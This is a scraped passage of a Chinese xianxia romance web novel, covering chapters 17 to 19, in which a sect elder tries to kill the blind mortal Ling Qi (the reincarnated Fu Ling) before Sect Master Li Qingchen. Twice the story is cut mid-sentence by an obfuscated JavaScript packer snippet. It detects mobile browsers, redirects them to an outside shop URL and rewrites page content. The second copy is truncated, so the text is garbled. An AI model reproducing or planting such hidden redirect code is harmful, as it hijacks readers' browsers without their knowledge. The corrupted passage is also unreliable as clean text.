就比如百年前传闻逐仙阁的阁主就为了道侣上穷碧落下黄泉,合欢宗的长老其实是个情种,就连玉虚阁的老祖为了心上人守节近千年…… 如今来看当年的有些传闻实在让人震惊,有些被证实全是虚构。如今这个传言……也是假的吧。 直到他们看到剑宗宗主的那两个弟子出现。 剑宗大殿寒气四溢,秦钟和裘双双分立两侧,他们两人已对高座之上的情景麻木,但郭昆已经被震惊得脸色发紫。 不久之前那个凡女就跪在这里接受审问,这才多久宗主就已经把对方带到旁边了,这还有天理吗,还有宗法吗? 紧接着,所有人听到两个整齐的脚步声,流云分散,两道修长的身影缓缓出现在大殿之上,二人同时行礼。 “拜见宗主,拜见各位前辈、长老。所有宗门受邀者已经到齐,尚未受邀来宗者弟子们已回函确认身份,均已在迎松阁妥善安置。” 李青尘垂眸应可。 祁寻稳重,符骄从容,这些修士见了也不免暗叹,不愧是李青尘的弟子,就说这份气度就远不是他们宗门弟子能比的。 铸剑山的山主气息温和,性格细腻,为打破寂静,主动笑道: “宗主的两位弟子不愧是青年修士之首,从容不迫、灵力精纯。想必李宗主花了大量精力培养这两个……” 她话音未落,就看那两个弟子告退时似乎无意中抬头向上看了一眼。这一眼就像是被天雷击中、被灭神钉钉中,面色巨变、脸色苍白起来。 仿佛是看到了什么让他们魂牵梦萦而又不可置信的场面来。 而他们的视线就落在李青尘身旁的女子身上。 山主:“……” 她差点被半口茶呛死。 秦钟不动如山,裘双双不忍直视,只有郭昆心如死灰还想再挣扎一下,赶紧传音入密让两个弟子回神。 祁寻和符骄听见了,却当做没有听见。 他们久不见傅灵,再看见对方时只觉得恍如隔世。当初在大殿前放弃逼迫李青尘后,两人已经做好打算长期抗争的打算。但没有想到再次看到对方会实在众目睽睽、百宗齐聚的场面之下。 此时方知,当初说的什么狠话,下的什么决心都是放屁。 师父为何要将她带到大殿之上,难道是……彻底不遮掩了吗? 可是所有人都知道凌七是因为他们二人才来的剑宗的啊? 此时所有宗门大能都在的情况下,他们两个人是否再进一步,让师父不得不放手? 祁寻和符骄对视一眼,隐隐在对方的眼底看到了一丝疯狂。 裘双双皱了一下眉,声音压低: “祁寻、符骄。既然已经完成任务,那便下去吧。” 两人不动,眸光闪动。大殿之上虽毫无声响,但隐隐视线交错,想必这些大能们早就用传音入密交流了几百遍。 但重复最多的恐怕只有一句: “传言竟然是真的?!” 李青尘高高在上,神色平静地看着两个弟子。似乎将他们的所有心思都尽收眼底,也似乎对两人即将引燃的疯狂毫不在意。 他的指尖一动,所有的桌面茶水如涓流,茶香飘逸中也驱逐了一些寒气。 “这是人妖边界处的风扬草以百年海露泡的茶,具有延年益寿、恢复灵力的功效。各位道友不远万里前来剑宗,剑宗不胜感激,聊表心意,还请各位海涵。” 所有人齐齐一笑,掩饰什么一样吞下茶水。 李青尘垂眸,指尖从宗主金袍中伸出,将茶杯微微一挪。挪到一直沉默的傅灵面前。 傅灵回神,看了李青尘一眼,顿了顿捧起了茶杯。 这一点声响却让祁寻两人如梦初醒,两人看到李青尘的神情,对方的视线都落在凌七身上,似乎对两人的愤怒毫不在意。 就是这种不在意如同一盆冷水泼在二人身上,让两人清楚地明白自己即便说出口也如同螳臂当车。 如果李青尘真的在意别人的言语,又怎会百年前和徒弟结契? 两人魂不守舍地告退,被郭昆扯到一边,压着怒火一顿数落。 屠妖大会如同誓师大会,无非是先清点妖族这一百年的罪孽。 妖族做的坏事罄竹难书,比如杀害当年杀过他们先辈的修士,将所有误入妖界的修士吞噬干净,对所有奴役过妖兽的势力赶尽杀绝…… 傅灵听得不由得攥紧了茶杯,她不知道为何李青尘要让她坐在这里。难道是想让她看清妖族的“真面目”吗? 只可惜她决定不管这些事了,系统说得对,她既然已经决定离开,就不能再想着拯救所有人。 终于,所有人聊到了如何对付妖族。妖族并不是只有妖王苏傲,如同灵界的修仙者,妖族也分禽类、兽类。 两任妖王都是狐族,比起之前的妖王,如今的苏傲更是难以对付。其喜怒无常、手段诡谲,心思比人类修士有过之而无不及。 “那妖王自然是李宗主才能克制。”有玉虚阁的长老开口,既是有三分畏惧,也有七分讨好。 “听闻那妖王苏傲的嗜血大法十分厉害,其原形更是高如险峰,獠牙如月,气吞山河。放眼灵界,也只有李宗主的悬光剑能力斩山河,可堪匹敌。更何况两人百年前……” 话音未落,那人就被有眼色的人制止,暗道此人怎么哪壶不开提哪壶。 现在的灵界谁人不知道百年前魔尊和妖王来剑宗抢亲的事?那事关剑宗的面子,还有三界三主的感情纠葛,即便那女子已经烟消云散,但谁敢说出来触人眉头? 那长老赶紧吞下口中的话,旁人带笑恭维。 “妖王狡诈,却也难以匹敌李宗主这等道心刚正的大能。我等必以李宗主马首是瞻。” 众人应是,李青尘缓缓抬手,整个大殿又是一静。 他这才不紧不慢地开口: “李某既然将各位邀请进剑宗,斩杀妖王一事自然当仁不让。攻入妖界之时,就是李某去其獠牙、断其首级之时。” 不知道是否是傅灵的错觉,她听李青尘将“獠牙”两个字讲得更沉一些。 系统说得对,“邪宗”只是一个借口,想必李青尘想与苏傲不死不休好久了。 说起李青尘第一次知晓苏傲的存在,不是在结契大典上,而是在一次秘境之行上。 那时已经过了宗门大比很久,李青尘虽无意争夺第一,但还在看在她护灵铠的份儿上参加比赛。 对方成为第一个毫发无伤的参赛者,排名中等。然后继续当他的普通剑宗弟子。 但随着时间推移,主线剧情开始推进。越来越多白衣人出现,这些人吸取灵力、抢夺法宝,偏偏行踪诡谲让人防不胜防。 李青尘想到当初莫名出现在藏锋谷上空的白衣人,料想那些“元宗”人和自己的父母之死有关,于是对这些人追查不休。 刚好傅灵屡次被系统传送走,偷偷进行“第二项业务”。 当时的系统还有传送的权限,对将她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864840|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传送到妖界这等大能都做不到的的事十分轻松。 当然有二就有三,当她在人界看到血肉模糊、怨气冲天的第三个任务对象时,她已经麻木了。 此事暂且不提,她和李青尘聚少离多,但对方不追查凶手,去秘境寻找秘籍时总会带上她。 那时两人从拍卖行出来,为去人妖边界的一处秘境做准备。 当时的她修为只有筑境后期,李青尘的修为也是如此,但她按照原文的进度猜,恐怕对方的真实实力已经远远甩开丹境一大截了…… 路上,她看李青尘幻化的老者忍不住一笑,李青尘摸了摸自己的掺白的胡子,问: “为何发笑?很是丑陋吗?” 傅灵捂着脸摇头,“没有,只是觉得难得看到师尊白发的样子。师尊就算是变老了,也是整个灵界最风流倜傥的老头。” 李青尘微微侧目,即便清瘦的脸颊布满细纹,也遮不住一丝红。 她可不是在拍马屁,几年下来李青尘的修为精进,气息越来越平和。即便见惯杀伐,也似秋水流云一般随意无痕。 她还想再说,却倏然感知到杀意。 是在拍卖场里就盯上他们的大能,此人盯上了傅灵拍到手的法宝。以为两个人是普通筑境,结果可想而知,被李青尘一剑断臂。 此人被激出了杀意,竟然不死不休。且是对着傅灵而来。李青尘的瞳孔黑沉无比,一瞬间就将指尖放在眉心。 傅灵想到几年前对方对她许下的承诺,霎时间就明白了李青尘要做什么——他又要为她解开封印。 她研究法阵努力修炼,就是不想成为他的拖累。千钧一发之际,她祭出一样法器。 通体猩红,血腥漫天。 ——是一把狐牙匕首。 匕首插入大能心口,疯狂嗜血,在这一瞬间李青尘的长剑已经到对方的脖颈前,一剑封喉。 危机解除后,李青尘闭了闭眼,似乎竭力压下翻涌的灵力。那脸上竟然是无法掩饰的后怕。 傅灵赶紧解释自己没事,对方的视线落在她的匕首上,眸中墨色一动。 “此物从未见你拿出来过。妖气四溢、血腥扑鼻,不是寻常拍卖行能卖出的宝物。” 她有些心虚,瞬间将匕首收了回去,“这几年你不在的时候,我也会去一些秘境。运气好捡的……” 李青尘没说什么,只是眸色更沉了一些。 如果当时的她再解释得完美无缺的话,如果她当时更小心的话……傅灵看着手心里从未凉却的热茶,仿佛握着狐牙刃永远躁动着血液的把手。 还在想这些做什么?傅灵闭了闭眼,她一再告诉自己,她现在是凌七,不是傅灵,她不是傅灵…… 失神的时候,察觉到有视线落在身上,她抬眼,迷蒙之中看到李青尘缓缓摩挲着茶杯,那里面的茶已经结出冰凌。 她一凛,立刻收回神色。 屠妖大会不止要开一天,今日只是誓师。日色刚悬在正南,李青尘就宣布散会,让祁寻等人带领各位长老回去休息。 傅灵没觉得有多累,只是觉得无聊。看李青尘缓缓站起,她也下意识地跟着。 眼看着傅灵要离开,祁寻和符骄的心下一焦,师父一直将凌姑娘关在洞府里,即便带出来也寸步不离。此时若是分开,下次见面又不知道是何时了。 符骄让祁寻想办法,又突然福至心灵。 “百年前师父能为那个女子违抗宗规,执意举行结契大典。我就不信他将那女子忘得一干二净。你说我和你要不要找一些那女子的遗物,让师父睹物思人,放了凌七?” 祁寻的神色有些复杂,他的声音紧绷。 “百年前的事宗门上下讳莫如深。就连秦钟师叔都不敢提,你如何敢触他霉头?更何况傅灵是傅灵,她是她……” 符骄冷哼,“不行就不行,何必如此大的反应?我又没有说傅灵就是凌七!” 祁寻的面色一变,两人还想说什么倏然感觉整个大殿都在震颤,好似地龙翻身、有冲天之势从外面极速射来 二人还未看清,就看到一道棕色遁光冲向高座之上,凌厉杀气让所有人不寒而栗。 祁寻抬眼,不由得瞳孔一缩:“凌七!!!” 那遁光的目标,赫然是凌七! 所有人大吃一惊,却看那遁光即将来到傅灵的眼前时,流云急退,寒气猛然暴涨,金光如日坠落,强大的灵力冲撞让所有修士都亮出护体灵气。 “砰!”的一声,所有人的灵力出现裂痕, 而傅灵毫发无伤地站在原地。 那道遁光急退,狼狈地跌在地上。 李青尘站在傅灵面前,白袍猎猎作响,指尖苍白冷硬如北川寒冰。 他的视线在面色微白的傅灵脸上停了一瞬,然后缓缓步下台阶来到那人眼前。 “庄天成。” 他一字一顿地念出对方的名字。 18.第十八章 “庄天成……” 所有人倒吸一口凉气,目瞪口呆地看着倒在地上的剑宗长老。 灵界的宗门数万,即便剑宗乃众宗之首,却不是所有人都能记住这些长老,但是庄天成不一样。 他少了一条手臂,且气息暴戾,很少有人不认识剑宗这位大名鼎鼎的长老。 此时见到他现出身形,口吐鲜血。而剑宗的宗主一步一步地走下长阶,寒气外溢,所有人不由得头皮发麻。 剑宗到底出了何事,自家长老竟然当着宗主的面杀一个凡人?! 裘双双和郭昆的面色大变,就要走上前,但李青尘的长袖无风自动,所有人都被钉在了原地。 “庄天成。” 李青尘念出了对方的名字,“我赋予你长老的身份,就是让你对凡人出手的吗?” 庄天成躺在地上,他艰难喘息着,呼吸破如风箱。 李青尘不愧是化境大能,这一招看似随意,却让他面色灰败,经脉衰竭下去。 但他的神色平静,仿佛早就知道这一次刺杀会失败。 只是在视线飘到李青尘身后那个呼吸急促的女子身上时,微微一顿。 那女子的面色微白,似乎收到了惊吓,纤细瘦弱如同一截即碎玉枝。但投来的视线却十分复杂,惊讶之中带着一丝隐隐的熟悉,好像对他的出现有些意外,却对他的杀意却没有半点愤怒。 他内心一动,灵魂仿佛被对方的视线牵扯着,带着一点针扎般的疼痛。 恍惚中,李青尘如深渊降临般的俯视让他如梦初醒。 “宗主。”庄天成声音嘶哑,勉强起身,带着认命的麻木: “我违反宗规,惊扰贵客。不配为剑宗长老,还请宗主降罪。” 他跪在地上,胸口带血,一侧的袖子空荡荡地坠下,像是被人折断脊梁的地龙。 李青尘问: “仅是如此吗?” 他紧咬牙关,始终不肯承认自己杀凡人是错。 直到符骄挣脱祁寻的拦截,红着眼冲出来,“庄师叔,我只想知道你为何要杀凌七?!她与你无冤无仇,你为什么要针对一个凡人?!” 见他跳出来,庄天成的眼底闪出一丝讥诮。 裘双双和郭昆倒吸一口凉气,其他宗门的人还没有走呢,他们怎么就闹起来了? 两人赶紧拉住符骄,沉声道:“宗主,庄师兄一心修炼,许久不现人前,应该是……练功练得走火入魔。如今众多前辈在场唯恐扰了大家清净,让我和郭昆师弟带他回去,容后发落如何?” 符骄咬着牙,又听祁寻道: “两位师叔此言差矣。此事若不现场解决,恐会让旁宗认为咱们宗门不和,恃强凌弱、残杀凡人。” 裘双双一顿,看了一眼站在人后的凌七,对方看向这边,灰蒙蒙的双眼满是沉郁的氤氲,她就不由得心虚。 庄天成道:“我无话可说,宗主可以随意处罚。” 郭昆还想再说,李青尘已经抬手,“他并非是走火入魔。庄长老有意选在今日对凡人下杀手,就是为了给我看的。” 所有人呼吸一窒,不可置信地看向庄天成。 庄天成笑出了声,他缓缓抬起头,“不错。不愧是相处了百年的同门,宗主一如既往地了解我的……卑劣。我确实是故意在此地杀她,因为宗主将她保护得密不透风,别缘峰的禁制难以打破,就只能选在今天了。” 傅灵听着,指尖微微一动。 “虽然失败,但我并不后悔。我绝对不允许任何危险残存在宗门之中。宗主一而再、再而三地为她破除宗规,置人伦、宗誉于不顾,她必须死!” 符骄的额上青筋一冒,没想到凌七不仅要被困住,还要面临这样的危险! 李青尘缓缓垂下眸子,眸色若凝聚成墨的夜色,黑沉无比。 “是我将她从祁寻、符骄的身边带走,是我一意孤行将她困在洞府,是我不让她离开我一步。你有任何不满可以直接找我。对凡人下手,道心全无,与蝼蚁何异。” 随着李青尘的声声落下,所有人都瞠大了双目,这是、这是亲口承认了那些传言是真的? 剑宗宗主真的为了一个女子威慑了两名弟子?! 傅灵也不由得转过头,她的呼吸急促,视线落在了李青尘的背上。 对方乌发及地,逆光白影中瞳孔微侧,若破晓寒星: “且她从未放弃回到人界,对仙法长生毫无兴趣,是我以法术强行将她留下。你却因莫须有罪名杀她,更是有违天道,罪无可恕。” 傅灵的呼吸一窒。 庄天成的面色不变,“那么请问宗主大人,如果我找您,您就会放手吗?” “……” 李青尘的沉默像是绷紧的琴弦,无声地发出讽刺与沉重的嗡鸣。 符骄挣脱束缚就要冲上去,“有什么冲我来!是我擅自缠上凌姑娘,是我害她被带上剑宗!即便师父要放手我也不会放弃的!” 祁寻一手虚虚拦着符骄,边道:“庄师叔,我也有此意。修仙之路漫漫,我们二十年还是等得起的。” 傅灵的喉咙干涩,她下意识对上李青尘的视线,对方看了一眼两个弟子,竟是没说什么。 而众人已经被这一系列发展惊得说不出话来,本以为参加屠妖大会,能见证传言被证实已经是意外收获了,没想到还会接连听到师徒三人对一个凡人女子的真情流露!? 这是何等的违反人伦、何等的离经叛道,又是何等的喜闻乐见…… 今日发生的事,其流传程度恐怕不下于百年前妖王魔尊抢亲吧…… 秦钟始终不发一言,而郭昆裘双双已经麻木得做不出表情了。只求今日尽快过去,不要再让剑宗再成为别人的谈资了。 庄天成低下了头,然后肩膀震颤,他笑得不能自已,然后用嘲讽而又怜悯的目光看着两个弟子: “你们以为你们的师父抢夺这个凡女,是因为喜欢吗?” 两个人一愣,庄天成的视线落在李青尘的脸上,声音倏然变大: “难道不是因为,她像傅灵吗?!” “傅灵”这两个字一脱出口,就如同化境修士的灵力震荡,层层撞在剑宗石壁上,一声声地回荡着。 傅灵本人本来一直沉默,然后她就像是被刺中了灵魂,猛然抬起了头。 而众人的反应比她还要夸张,有的不可置信地叫出了声,有的脑袋甚至“轰”的一声,出现了嗡鸣。 对百年前那场混乱熟知的人,无一不知道三个男人的名字:李青尘、苏傲、厉修宁。 还有一个最不能忽视的名字:“傅灵”。没有她,就没有那一场差点波及三界的斗争。没有她,就没有这百年来的战战兢兢。 因为涉及三界三主,这个名字就成了不能触碰的存在,仿佛谁说出了就会引起灭顶之灾。 如今听到庄天成喊出这个名字,所有人震惊之余,却也不可置信。 傅灵?和那个凡女,到底有何相像? 再一看也只是普通的女子,难道是李青尘昏了头不成? 又一想李青尘竟然还念着死去的傅灵,看来那女子伤他至深却也让他念念不忘,真是孽缘啊…… 符骄两人一震惊,一几不可查地咬了一下牙关。 所有人都下意识地去看李青尘的反应。 傅灵此时多么希望自己真是一个聋子,那么她就可以当做听不见,要么做一个完全的瞎子,就能看不到李青尘的反应。 对方背对着她,身形笔直若留云劲竹,身上的气息收敛,如同翻涌的海浪蒸腾成晦暗的阴云,混沌幽深让人更是难以看清。 他默认了。 郭昆如遭雷击,秦钟骤然睁开了眼,只有裘双双露出毫不意外而又覆水难收的表情。 符骄喘着粗气,刚要质问自己的师父,是不是把凌七当做替身,却倏然察觉不对。 他一转头,瞳孔一缩: “凌七?” 众人回头,看那凡女的面上已无一点血色,却缓缓踏出带着暖意的法阵,一步步走下台阶。 祁寻要去扶她,却被她抬手按在一边。 身形纤瘦,双眼迷蒙,却沉稳得像是在这个大殿上走了千百回。 她从流云高座,终于走到了人前。 李青尘看向她,瞳孔的墨色骤然消散,化成融水般的暗涌。他的指尖缓缓抬起,却最终落了下来。 庄天成眼睁睁地看着她走来,他莫名不敢对上她的视线。 “庄长老。”傅灵深吸一口气,压下喉咙的震颤。 “我只是一介凡人,你为何要说我与那名女子相似?” “因为眼睛。”他恍惚而又悲哀地回答:“当初我并未将你和傅灵联系到一起,直到看到了裘师妹的异样,这才明白了过来,宗主为何会对一个凡女执着。因为你的眼睛……” 这个凌厉而又苍老的长老,终于露出一丝微笑:“虽然你的双眼瞎了,但你不知道你平静看人时,和百年前的傅灵有多么相像。她维护宗主的时候,就是如此看我的。” “他在你身上看到了傅灵的影子。” 李青尘的视线落在傅灵的身上,如同灰暗聚散。 傅灵尤未察觉,她只是在大脑一片空白之后想执着地找出一个答案。即便她知道自己的反应可能会暴露身份,但冥冥之中的不安让她继续追问下去。 她有种预感,最终的答案就是李青尘困住“凌七”的根源。 “所以,你就要杀我吗?” 她声音嘶哑地问。 “邪宗人,有何杀不得的。”庄天成道,“与傅灵相似、迷惑宗门。不是邪魔就是邪宗人,这百年难道这样的事发生得少吗?” 裘双双懊悔又复杂地叫了一声,“庄师兄,莫要说了……” “不,让我说完。” 庄天成的视线扫过所有宗门,“你们莫要以为我不在宗门就丝毫不知。这百年来,为了攀附宗门,为了打探消息。各大宗门、妖界、魔界里,和傅灵有一丝相似的混入剑宗者不知凡几。但从未有一个能让宗主侧目,托秦钟的福,大多都没了音讯……” 有些宗门的长老讪讪地躲开视线。 秦钟闭目叹了一口气。 傅灵的身形一颤,她此时说不出自己是什么滋味,回过头缓缓看向李青尘。 对方也寸寸抬眸,那双向来平静的双眸此时却倏然垂下长睫,藏着她看不清的情绪和亘古不化的固执。 仿佛一百年,所有的秘密和经历,都被对方用沉寂抹去。 “你不是第一个,也不是最后一个。但你是唯一一个让李青尘上当的一个,所以我不会……让剑宗出现第二个傅灵。” 傅灵想问就是如此就认定她是邪宗的人吗?但她想到系统说的话。 对方并不在乎真相,也不在乎证据。只是因为她的出现扰乱了整个剑宗,所以她就必须是“邪宗人”。 她失笑,上辈子欺骗了李青尘,也骗过这些同门,她口口声声地说着“同门之情”,转瞬就成了邪宗的一员,最大的讽刺不过如此。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870575|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 庄天成对“傅灵”如何痛恨,都是理所当然的。 只是前世还有“系统暴露”这个证据,这辈子…… 她的喉咙梗了梗。 却听李青尘道:“凌七目盲体弱,身上没有半点灵力。自从进入剑宗就一直被我困于别缘峰,她若是邪宗人,早该撕裂空间,何必在此承受杀意。” 他的神色平静,全然没有强行解释的滞涩感,众人也都恍然,确实如此。 傅灵下意识地抬头,却发现李青尘也看着她。 瞳孔若乌云涌动,似乎带着一种后知后觉的震颤,然后嘴角一敛,强行收敛了所有情绪。 她的内心一动,倏然发现了不对劲。 上辈子她以为自己被误会成“邪宗”是因为系统的暴露,让李青尘认为她别有用心,与邪宗联系起来。 但对方为何会直接联想到邪宗,如果是……早就怀疑了呢? 在对方黑沉的瞳色中,她倏然被拽入回忆的漩涡。 那时的邪宗以轻易夺取他人灵力为名,以恐怖的速度壮大力量。李青尘不知疲倦,夜以继日地追杀他们只为了找出当初屠杀藏锋谷的幕后黑手。 当时傅灵正在人界开展第三项“业务”,没曾想撞到了李青尘去人界边缘追杀一首领。 她想到原文的剧情,就是在这里李青尘因为看到首领的脸,心神一震,被对方一剑贯穿胸口。 她当时骗李青尘她一直在宗门闭关,此时也顾不得许多,倏然冲了上去。 趁着李青尘打碎对方面具的一瞬间,用阵法锁住了灵力。 千钧一发之际,李青尘握住对方的长剑,手心鲜血淋漓,一字一顿: “怎么会是你……叔叔。” 没想到,面具之下的邪宗人竟然是他的亲叔叔李奉天。 准确地说是已经“死去”的李奉天。当初李青尘以为李奉天和爹娘一起战死,没想到对方是假死逃脱。怪不得藏锋谷的护宗大阵被轻易击破,怪不得对方那么容易知道爹娘所有的弱点…… 李奉天亮出惨白的牙齿,“别来无恙啊,我的好侄子。” 李青尘的眼角微红,最后所有的情绪都化作杀意: “为何,要背叛藏锋谷?!” “什么叫背叛?!我只是将不属于我们的东西还回去罢了!这世上的灵气、法宝、秘籍,都是属于元宗的!你们资质愚钝,没有受到感召,是不懂什么是受命于天的!” 李青尘用阵法束缚住对方,刚想搜魂。李奉天却瞳孔突出,惊讶地低头看了一眼,自爆了。 灵气震荡之时,李青尘将傅灵紧紧抱在怀里。 小姑娘被吓得面色苍白,却反而检查他的胸口,问他有没有受伤。 他不由得柔了眸色。 “无事。如果不是你出现得正好,恐怕我此时已受重伤了。” 傅灵松了一口气,“没事就好。” 李青尘回头看了一眼漫天的血雾,闭了闭目。然后问: “人界与剑宗相隔万里,你之前传来玉简不是说在剑宗吗,若想来此地找我,为何会如此快?” 傅灵的脸色一僵,她低下头挠了挠脸颊,“其实我……我早就偷偷跑出来,没告诉你。” 李青尘眸色一闪,并没有说什么。 他侧目,发现在血肉模糊中有一道金光,于是快步走去捡起。 傅灵站在原地,还对屡次欺骗李青尘有些愧疚。暗道也不知道系统抽什么风让她同时攻略三个男人,要是翻车了可怎么好? 李青尘久久没有动静,她疑惑地靠近,却看到对方握紧了金光,骤然回头。 那眼神,即便隔着血色和长风,也混乱冷冽如海下寒冰,被阳光照得凌冽,生出刺目般的疼来。 傅灵不知为何喉咙一动,“怎么了?” “没什么。”李青尘垂眸,眸色又恢复如初。 他走过来将她指尖的血渍擦了,“只是想到你如今总是用逃命的阵法,真有一天逃不掉怎么办?以后再遇到危险,莫要管我,顾好自己。” “怎么可能不管你……”傅灵嘀咕着,没注意到对方深沉而又复杂的目光。 如果她能看到,她就能明白那是怀疑的萌芽。 而往日的记忆经过百年时光的长河冲刷,终于让她看清了他手中的东西。 那是一个令牌,令牌上清楚地写着一个横平竖直、让她十分熟悉的简笔字: “灵”。 “灵”,是邪宗人使用阵法的灵力聚集标志,也是天道为了剧情自动补全的“细节”。 就如同那个秘境里刻在墙上的几个字。 如果没有意外,它只是最普通的符号,但它偏偏也是傅灵的名字。 被她写在过话本里,被她刻在过石碑上。 没想到当初的玩闹之举都成了指向自己的“证据”。 时隔百年,她终于明白了为何李青尘会因为一次暴露就笃定她是邪宗人,因为她的名字,因为她的名字!! 因为她总是能撕碎空间,因为她熟悉阵法,因为她对邪宗熟悉…… 所以她就成了邪宗人。 傅灵从回忆里抽离,前几日看到的那个盒子里的令牌恐怕也是带着灵字。 怪不得当然李青尘的气息那么冷,原来是想到了她的欺骗。 怪不得庄天成说对方因为一双眼睛就困住她,因为她和“傅灵”相像。 但庄天成想错了,那不是因为思念,不是因为执着。 是因为恨啊,是因为恨啊…… 19.第十九章 李青尘恨她。 虽然在她发现洞府消失时,就意识到了这一点。 但她从未像现在这样这么深切地感受过。 因为痛恨她的存在,所以将洞府抹去。因为痛恨她的欺骗,所以看到她的名字就冷若冰寒。因为痛恨她的过去,所以看到一个和她相似的女子,就想办法关起来,让其再也无法离开。 虽然那个“女子”也是她。 所以那些试探、那些愤怒、那些威慑全都有了解释。 不过是移“恨”罢了。 此时此刻,她看着李青尘的眼睛,明明两人距离不过几尺,她却觉得两人已经隔着一道深渊。 似乎她的表情有异,李青尘微微动了一下瞳孔,傅灵咬着牙低下头,硬生生地咽下喉咙里所有的梗塞。 庄天成的声音像是隔着深渊的水,忽高忽低地传来: “她既然是为了接近宗主,又怎会轻易离开?现在,她不就成功了吗?” 裘双双倒吸一口凉气,恨不得直接捂住他的嘴。 李青尘的视线落在庄天成的身上,他没有说话,但所有人都被化境大能的威压惊得冷汗直冒。 那种并非直接的杀意,只是寒气的外溢,就如同古神的一瞥,让人肝胆俱裂。 庄天成的喉咙似乎被寒气封住,无法发出半点声音。血液化作冰凌肆意地破坏他经脉,但他反而畅快地笑出声。 生气了吗李青尘,他越是生气,就代表自己说得越对。 这一百年,李青尘从未有过这样情绪外放过。他装得越正常就越代表不正常。像是冷到极致的神像,将整个剑宗都化作高高在上、毫不容情的庙堂。 现在对方终于从神像上跌落,只是不知道这种异象到底是因为傅灵,还是因为凌七。 庄天成的视线有些迷蒙,偏顶着被封口的禁制,强行开口,鲜血从他的口中涌出: “李大宗主,当初因为怀疑傅灵是邪宗人,就将其灵魂放在能锁魂的缚仙台,然后让她魂飞魄散。如今我只是想杀一个假冒傅灵的邪宗人,您为何就受不了了呢?” 裘双双惊叫:“庄师兄,莫要再说了!” 李青尘看着他,那张似神祇的一张脸仿佛被玉化,透着沉寂百年的冷,而在冷意之外,终于泄出一丝不属于神祇的杀意。 庄天成笑得愈发猖狂,暗道对方果然最受不了这句话。李青尘最是杀伐果断,这一次可能真的会杀了他。 然而,已经没有人再会替他求情了…… 他浑浑噩噩地闭上眼之际,倏然听到一声沉静、微哑的声音: “李宗主,庄长老的话有理有据,我无可辩驳。既然如此,送我去缚仙台吧……” 李青尘骤然转过身,逆光之下看不清他的表情,但身上灵力赫然外溢,如同河流决堤,所有人不由得闷哼一声。 裘双双几人倒吸一口凉气,符骄不可置信地看向那个瘦弱的女子。 “凌七……” 庄天成的眉心一跳,他似乎是第一次真正地看向这个格外安静的凡间女子。 凌七迎着所有人的视线,剑宗的阳光将她的脸照得苍白,她徐徐吐出一口气,笑了一下。 就在刚刚她做出这个决定,她要回到缚仙台。 这个决定无异于送死,连系统都顾不得会被李青尘的神识扫到,疯狂地提醒她收回决定。 但她已经下定决心。既然李青尘将她当成“傅灵”的替身,难保不知会在什么时候就回过神,将她如前世一般“烟消云散”。 与其等对方动手,倒不如她自己去寻“死”。 她不信剑宗里没有她半点残魂,如果洞府消失,那么只剩下一种可能:残魂在缚仙台。 如果此去,她找到了残魂,就能立刻离开。 如果找不到,且被发现了真实身份……那便这样吧。 左右不过再死一次。 她笑了笑,在李青尘若寒星急落的瞳孔中,缓缓走向李对方,伸出自己苍白消瘦的手腕。 “听说百年前李宗主就是如此抓住傅灵的,让她的灵魂现出了原形。不如也剥离我的肉身,让众人看看我是否和她一样……” 上辈子,傅灵的灵魂就是如此被布满符咒的铁链锁住,裘双双看到她平静地笑着,一瞬间百年前的场景几乎重现,她的牙齿都在打颤。 祁寻和符骄更是红了眼眶,祁寻第一次不管不顾就冲出去,“剑宗何时要用这种手段让人证明清白?!凌七,莫要冲动!你若是不愿待在这里,我这就带你出宗!” 郭昆咬牙拦住他。 刚才还格外嚣张的庄天成此时却沉默了。 所有人都被她的平静和决绝吓得瞠目,只有李青尘始终不语,那双平静的眼睛如同夜空的塌缩,吞吐着浓稠的晦暗。 “为什么要去缚仙台?” 他突然问。 傅灵心下一跳,她避开他的视线:“李宗主又为何不应我?当初能将傅灵束缚在缚仙台上,如今为何对我这个替身犹豫?这是最快的方法。可以证明我的清白。也可以证明你……没有私心。” 他的瞳孔一颤。 沉默许久的秦钟终是一叹,他就要将傅灵带走,终止这场闹剧。 百年来所有和傅灵相似目的不纯者都是他来处理,今日也是如此。只是这个凌七有一点特别罢了。 只是他刚伸出手,却看李青尘动了。 在符骄、祁寻目眦尽裂的视线中,他将手伸向了傅灵的手腕,一把抓住。 “师父?!!” 傅灵闭了一下眼,平静地接受命运在自己身上的重现。但手腕一紧,视线骤然颠倒。自己的腰身如同被冰冷的河流滑过,脸颊也贴在了宽阔微凉的胸膛上。 ——是李青尘抱起了她! 傅灵的瞳孔一缩,众人倒吸一口凉气。眼睁睁地看着李青尘的灵力外溢成为金光,撞得人浑身发麻,连退三步。 秦钟更是闷哼一声,收回了被刺痛的手。 李青尘抱着傅灵,金光吞吐容纳了两人的身形,只能听到他玉石般的声音: “庄天成刺杀凡人、冲撞贵客,道心全无,有违天道,不足以担当剑宗长老重任,入执法堂,容后处置。” “凌七身份一事由我一人承担,她若做出任何伤害剑宗之事,我自请卸任宗主之职。各位,李某有要事在身,怠慢了。” 话音未落,其带着傅灵化作金光直射别缘峰。 只剩下满殿的人面面相觑。 其余宗门的人看了好一出大戏,不仅被惊得心口跳动还被吓得满身冷汗,暗道不愧是剑宗宗主李青尘,无论是百年前还是百年后,都能闹出这么大的动静来。 祁寻和符骄面色青白,咬牙对视一眼。裘双双和郭昆虚脱了一般叹口气。 秦钟看着自己的右手无声地闭上眼。 只有跪在地上的庄天成毫不掩饰地笑出了声。 